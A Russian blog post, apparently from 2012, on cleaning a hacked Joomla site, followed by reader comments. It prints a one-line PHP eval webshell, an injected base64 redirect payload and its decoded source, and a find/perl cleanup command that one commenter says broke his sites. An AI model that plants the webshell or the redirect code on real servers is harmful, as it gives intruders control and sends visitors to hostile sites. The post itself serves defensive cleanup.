yandex

Взлом Joomla, внедрение бекдора и очистка от кода

UPD 01.03.2013: Я закрыл возможность комментирования данной записи. Все вопросы по данной теме задавайте на https://ask.sabini.ch. Благодарю за понимание.

В конце 2011 года в Joomla была некая уязвимость, которая позволила злоумышленникам положить в директорию images бекдор – файл post.php, следующего содержания

<?php eval(base64_decode($_POST[“php”])); ?>

После чего основная масса файлов с расширением php (причем, заражалось все без разбору, включая configuration.php.

Код, который помещался в файл таков:

<?php           eval(base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0=”));

Это зашифрованная в base64 информация, которая содержит в себе ссылку на какой-то польский сайт

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[‘HTTP_REFERER’];
$uag=$_SERVER[‘HTTP_USER_AGENT’];
if ($uag) {
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://happynewyear.osa.pl/”);
exit();
}
}
}
}

Чтобы аккуратно очистить зараженный сайт, следут авторизоваться по ssh и выполнить следующую простую команду

find . -type f -name ‘*.php’ -exec perl -pi -e ‘s/eval\(base64_decode\(\”DQp.*p9\”\)\)\;//g’ ‘{}’ \;

После всего этого остается только напомнить, что следует постоянно следить за актуальностью версий программного обеспечения, которое используется на сайте.

Так же обратите внимание на выход Joomla! 2.5, которая станет LTS и достойной заменой Joomla! 1.5.

PS: Если возникнут проблемы с удалением вредоносного кода, то всегда готов помочь.

Читайте также:

комментариев 20

  1. Дмитрий:

    Сам столкнулся с такой проблемой и никак не могу ее решить. Суть такова висит сайт в топе, как я понимаю на него идет атака, чтоб с яндекса по ссылке редиректится на указанный в коде сайт. Сайты, кстати всегда разные. Если заходить напрямую на сайт то редирект не происходит. Сайтов на хосте много, поэтому делаю просто общее восстановление сайтов на день предыдущий, помогает на 3-4 дня, после этого снова все php файлы с кодом. Дыру так и не могу найти, тех поддержка тоже внятного ничего сказать не может. Закрывал доступ по фтп, не спасло. Вобщем беда, спасает только бэкапы. Джумка везде обновлена до последнего релиза 1.5.25.

  2. webgomel:

    Не знаю что там было а что нет, а может и сейчас ещё есть, но все пишут одну и ту же глупость: “позволила злоумышленникам положить в директорию images бекдор – файл post.php”.
    Да всё очень просто – пароль он к админке подбирает, заходит в настройки сайта, дописывает в разрешённые для загрузки файлы расширение .php и спокойно загружает свой post.php в картинки.
    Реально жесть, все пишите, панацею даёте, а у самих до сих пор поди загрузка файлов .php разрешена после него. И кэширование он ещё включает напоследок)))

  3. Роман:

    Добрый деь
    Похожая проблема. Сайт еще на локал хосте.
    В коде есть 2 ссылки на внешние сайты (смартфоны), не могу их найти.
    Искал через БД, Файл менеджер, вручную просматривал. Как понимаю, там кодировка другая стоит.
    Помогите, где и чем искать??

  4. mef:

    Подозреваю, что они зашифрованы в base64.

  5. Роман:

    как выявить такой шифр, чем искать?

  6. mef:

    поиском по телу файлов.

    можно с помощью find, grep, если в unix-like системах

  7. Роман:

    Искал с помощью Total Commander, находит около 100 файлов. все нужно перелопатить, ведь ссылки скорее всего в коде самой джумлы или расширениях (докачивал шаблон, языки, сайтмап, меню)
    В любом случае СПАСИБО!
    Будем разбираться)

  8. Виктор:

    В джумуле вообще насколько япомню не используется соченание евал и бейс64 декод, посему вобще убивай все что так входит, ибо это все вирус просто видо измененый а таких много, я сейчас могу тебе штуки 4 дать.

  9. Евгений:

    Приветствую
    По наследству от предыдущего администратора мне достался сайт на Joomla – art-tsekh.com
    Сегодня ночью он был взломан и теперь на его главной странице красуется “hacked by Evil hacker”
    С чего мне начать восстановление работы сайта? Его нужно оживить как можно скорее

  10. Alex:

    Подскажите плиз…. только начал разбираться с джумлой и шаблонами… нашел через FireBug левые ссылки… прописаны в div class
    и в файле такую вот вещь
    ?php echo base64_decode(“PGRpdiBpZD0ic3lzLXB vcy1taCIQuote from GEgaHJlZj0iaH R0cDovL2hkLWZpbG1pLnJ1IiB 0aXRsZT0i0YTQuNC70 YzQvNGLINCyIGhkINC:0L3Qu 9Cw0LnQvSI0YTQuNC70YzQvNG LINCyIGhkINC0L3Qu9Cw0LnQvT wvYT48YnIPGEgaHJlZj0ia HR0cDovL215am9vbWxhc2l0ZS5ydSIgdGl0bGU9ItGI0LDQsdC70L7QvdGLINC00LvRjyBqb29tbGEiPtGI0LDQsdC70L7QvdGLI NC00LvRjyBqb29tbGE8L2EPC9kaXYPGpkb2M6aW5jbHVkZSB0eXBlPSJjb21wb25lbnQiIC8”;?
    При удалении уходят ссылки, но и весь контент страницы…. как их грохнуть можно?

  11. Alex:

    Все получилось-спасибо большое за помощь ))))

  12. Alex:

    можно тогда еще вопрос по теме….. а именно по firebug’у?

  13. Alex:

    в firebug’e вижу ссылку, которую хочу удалить…. а вот как это сделать пока не разобрался-я его только вчера поставил )))) прямо из него удаляю, при обновлении страницы появляется…. как это сделать правильно? ))

  14. Alex:

    в принципе это понятно, но как искать этот адрес? у меня же не статические страницы…. через поиск тотал коммандера по словам в документах этот адрес не находит…. но где то же он сидит…. если кто нибудь уже разбирался с этим отпишитесь плиз.

  15. Alex:

    Может пригодится кому )))
    ссылки на странице скрываются таким образом (-5000 было у меня)
    #sys-pos-mh {position: absolute; top: 0px; left: -5000px;}
    то есть позиция ссылки выносится за видимую часть экрана, через тотал коммандер-его поиском по словам в документе в папке с шаблоном ищите значение -5000, у меня оно оказалось в template.css, комментируем данную строку-ссылки стали видимыми.
    Но… найти по тексту-адрес ссылки или тайтл-не удалось… тогда ищем по такому словосочетанию: base64_decode
    У меня нашло вот это:

    Вырезаем все что стоит между двойными кавычками-сохраняем во что нибудь типа блокнота (при простом удалении у меня напрочь сносило и весь контент со страниц), идем в любой онлайн-декодер, я воспользовался
    http://www.kakvse.net/service/polezno/dekoder_teksta.php
    В результате получил

    Отсюда вырезаем все-ссылки, тайтлы и заголовки и получаем


    Копируем это и идем
    http://serfock.ru/url-coder
    Там по новой кодируем то что скопировали, получаем
    %3Cdiv%20id%3D%22sys-pos-mh%22%3E%3Ca%20href%3D%22%22%20title%3D%22%
    22%20class%3D%22underline%22%3E%3C%2Fa%3E%3Cbr%3E%3Ca%20href%3D%22%
    22%20title%3D%22%22%20class%3D%22underline%22%3E%3C%2Fa%3E%3C%2Fdiv%3
    E%3Cjdoc%3Ainclude%20type%3D%22component%22%20%2F%3E
    Копируем это, и вставляем в template.css вместо того набора символов, что был в оригинале,
    сохраняемся-ссылки ушли, контент остался )))

  16. терпения всем!:

    и респект

  17. Павел:

    У меня около 10 проектов на одном аккаунте хостера, некоторые на Joomla 1.5, а некоторые на Joomla 2.5. Через один сайт на j1.5, я получил заражение, на все остальные проекты. Вирус состоял из 3 файлов, один из них, который мне удалил nod32, назывался story.php.
    Ну да ладно, вообщем, вот такой код стоял во всех php файлах:
    eval(base64_decode(“DQplcnJvcl9yZXB……… w0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ==”));
    в принципе тоже самое, что и в посте написано, только на url другой перекидывал.
    я такой код прописал в putty:
    find . -type f -name ‘*.php’ -exec perl -pi -e’ s/eval\(base64_decode\(\”DQplcnJ.*0KfQ==\”\)\)\;//g’ ‘{}’ \;
    и думал буду радоваться жизни, но ни тут-то было!
    При загрузке сайта, браузер стал выдавать ошибки на всех проектах.
    Вадим, автор поста, что неправильно я прописал, код с этого поста брал ведь?

  18. Elena:

    У меня так полегло 6 сайтов. тоже зачистка кода не помогает. сайты лежат мертвым грузом. некоторые скрипты видно что код скриптов кусками дублирован. Копий рабочих нет. Восстанавливать надо сайты как то, но искать все подобные скрипты и пытаться понять что в них не так….
    Если найдете решение, поделитесь, пожалуйста

  19. Руслан:

    с помощью firebug вижу левую ссылку на сайте,а вот найти ее не могу ….все перелопатил ((( вот сайт http://chaynyydvorik.com.ua – а вот собственно левая ссылка ddflash.ru/docs/Best. где она зарыта,как искать ума не приложу …

  20. Сергей:

    У меня на сайте появился код, который на всех страницах размещает невидимые ссылки, причём на всех страницах разные. Как его вычислить понять не могу. С какой стороны подступиться?
    По теме base64 уже пробовал – явно не та тема.

Добавить комментарий

Ваш адрес email не будет опубликован.